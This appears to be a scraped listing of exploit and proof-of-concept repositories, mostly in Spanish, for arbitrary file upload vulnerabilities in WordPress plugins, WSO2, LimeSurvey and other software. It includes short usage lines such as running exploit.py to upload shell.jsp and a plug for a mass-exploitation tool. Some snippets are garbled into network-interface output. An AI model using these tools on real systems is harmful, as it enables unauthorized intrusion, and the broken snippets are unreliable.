CVE-2026-3891

Pix for WooCommerce = 1.5.0 - Subida de Archivos Arbitraria No Autenticada CVE-2026-3891 PoC 📜 Descripción CVE-2026-3891 es una vulnerabilidad de subida de archivos arbitraria no autenticada en el plugin de WordPress Pix for WooCommerce. El plugin expone un endpoint AJAX...

Rasa-cve-exp

Rasa-cve-exp CVE-2021-42556 server-1.py Just run it directly root@kitploit: python server-1.py Arbitrary File Upload root@kitploit: PUT /model "modelserver":"url":"http://192.168.244.128:5000/stage1","waittimebetweenpulls":0 Effect as follows: CVE-2021-41127 server-1.py Default model name:...

CVE-2024-9932-POC

CVE-2024-9932-POC Descripción: El plugin Wux Blog Editor para WordPress es vulnerable a la subida arbitraria de archivos debido a una validación insuficiente del tipo de archivo en la función wuxbtinsertImageNew. Las versiones hasta la 3.0.0 inclusive están afectadas. Esta vulnerabilidad permite ...

CVE-2023-37790

CVE-2023-37790 Autor: KaizenSecurity Descripción: Se descubrió que Jaspersoft Clarity PPM versión 14.3.0.298 contiene una vulnerabilidad de carga de archivos arbitraria a través de la función de carga de foto de perfil. 1. https://nvd.nist.gov/vuln/detail/CVE-2023-37790 2...

CVE-2026-18351

CVE-2026-18351 Herramienta de explotación masiva para CVE-2026-18351 — Carga Arbitraria de Archivos No Autenticada → RCE en Drag and Drop File Upload for Elementor Forms crédito johenlastgen | telegram @johenlastgen | canal @jlgnetworkredirect Características Sonda pasiva de vulnerabilidad sin...

CVE-2023-50564-pluck

CVE-2023-50564-pluck CVE-2023-50564 Una vulnerabilidad de carga arbitraria de archivos en el componente /inc/modulesinstall.php de Pluck-CMS v4.7.18 permite a los atacantes ejecutar código arbitrario mediante la carga de un archivo ZIP manipulado. Esta es una vulnerabilidad autenticada. Descargo ...

CVE-2024-50482

CVE-2024-50482 Woocommerce Product Design = 1.0.0 - Subida de archivos arbitrarios no autenticada Descripción: El plugin Woocommerce Product Design para WordPress es vulnerable a la subida de archivos arbitrarios debido a la falta de validación del tipo de archivo en todas las versiones hasta la...

CVE-2024-50510

CVE-2024-50510 AR Para Woocommerce = 6.2 - Subida de Archivos Arbitraria No Autenticada Descripción El plugin AR for WooCommerce para WordPress es vulnerable a subidas de archivos arbitrarias debido a la falta de validación del tipo de archivo en todas las versiones hasta la 6.2 inclusive. Esto...

CVE-2022-29464

WSO2 Carga Arbitraria de Archivos a Ejecución Remota de Comandos RCE https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738 Ejemplo root@kitploit: python3 exploit.py https://target.org:9443 shell.jsp...

CVE-2023-44763_ConcreteCMS-Arbitrary-file-upload-Thumbnail

ConcreteCMS Stored XSS v.9.2.1 Autor: Sergio Descripción: ConcreteCMS v9.2.1 está afectado por una vulnerabilidad de subida arbitraria de archivos que permite Cross-Site Scripting XSS almacenado. Vectores de ataque: Una vulnerabilidad en la sanitización de la subida de archivos "Thumbnail" permit...

CVE-2023-4596

CVE-2023-4596 Script PoC para CVE-2023-4596, ejecución remota de comandos no autenticada mediante subida de archivos arbitrarios. Vídeo del PoC en uso Plantilla de Nuclei Artículo de noticias WordFence NVD Nist Resumen Se ha descubierto una vulnerabilidad crítica en el plugin de WordPress...

dp_crypto

dpcrypto Exploit de oráculo de cifrado basado en Base64 para CVE-2017-9248 Manejador de diálogo de Telerik UI for ASP.NET AJAX Publicado en exploit-db Actualización 2020 - Tenga en cuenta que la versión en exploit-db ahora está muy desactualizada en comparación con la última versión aquí en GitHu...

CVE-2025-4336

eMagicOne Store Manager para WooCommerce 1: lo: mtu 65536...

CVE-2025-2005

CVE-2025-2005 - Pwn en WordPress Front-End Users Plugin By h4ckxel Info Rápida Plugin: Front-End Users Versiones vulnerables: = 3.2.32 Tipo de fallo: Arbitrary File Upload CVSS Score: 10 Crítico Riesgo: Permite a cualquier atacante sin auth subir archivos arbitrarios ej. web shells PHP y...

CVE-2022-29464

CVE-2022-29464 Una subida arbitraria de archivos sin autenticación que conduce a RCE en WSO2 Resumen de la CVE CVE-2022-29464 es una vulnerabilidad RCE para WSO2 descubierta por Orange Tsai. Una subida arbitraria de archivos sin autenticación permite a un atacante ejecutar código subiendo un...

CVE-2025-3054-Exploit

CVE-2025-3054 Exploit: Descargar aquí Detalles ID de CVE : CVE-2025-3054 Publicado : 5 de junio de 2025 CVSS : 8.8 Parche disponible: Aún no hay parche oficial Impacto El plugin WP User Frontend Pro para WordPress es vulnerable a la subida de archivos arbitrarios debido a la falta de validación d...

CVE-2021-44967

CVE-2021-44967: LimeSurvey RCE Descripción Esta Prueba de Concepto PoC puede usarse para explotar CVE-2021-44967 y cargar y ejecutar un complemento PHP malicioso de LimeSurvey como administrador para obtener una shell inversa. Existe una vulnerabilidad de Ejecución Remota de Código RCE en...

wp-file-manager-CVE-2020-25213

WP-file-manager exploit CVE-2020-25213 El plugin de WordPress WP-file-manager 6.9 es vulnerable a la subida arbitraria de archivos sin autenticación, lo que resulta en el compromiso total del sistema. Para más detalles, consulta mi writeup publicado aquí Descargo de responsabilidad No he...

CVE-2024-0757-Exploit

CVE-2024-0757 Exploit Description The Insert or Embed Articulate Content into WordPress plugin for WordPress is vulnerable to arbitrary file uploads through insecure file uploads in a zip archive in all versions up to, and including, 4.3000000023. This makes it possible for unauthenticated...

CVE-2025-5961

CVE-2025-5961 Migration, Backup, Staging – WPvivid Backup & Migration 1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo validlft forever preferredlft forever inet6 ::1/128 scope host validlft...